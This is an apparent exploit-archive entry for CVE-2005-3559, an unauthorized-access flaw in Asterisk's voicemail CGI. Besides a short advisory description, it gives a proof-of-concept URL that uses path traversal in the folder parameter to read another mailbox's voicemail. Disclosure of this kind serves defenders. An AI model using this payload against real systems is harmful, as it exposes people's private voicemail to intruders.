Asterisk 0.x/1.0/1.2 Voicemail - Unauthorized Access

Author: Adam Pointon
type: webapps
platform: cgi
port: 0
date_added: 2005-11-07
date_updated: 2013-06-29
verified: 1
codes: CVE-2005-3559;OSVDB-20577
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source: https://www.securityfocus.com/bid/15336/info

Asterisk is prone to an unauthorized-access vulnerability. This issue is due to a failure in the application to properly verify user-supplied input.

Successful exploitation will grant an attacker access to a victim user's voicemail and to any '.wav/.WAV' files currently on the affected system.

http://www.example.org/cgi-bin/vmail.cgi?action=audio&folder=../201/INBOX&mailbox=200&context=default&password=12345&msgid=0001&format=wav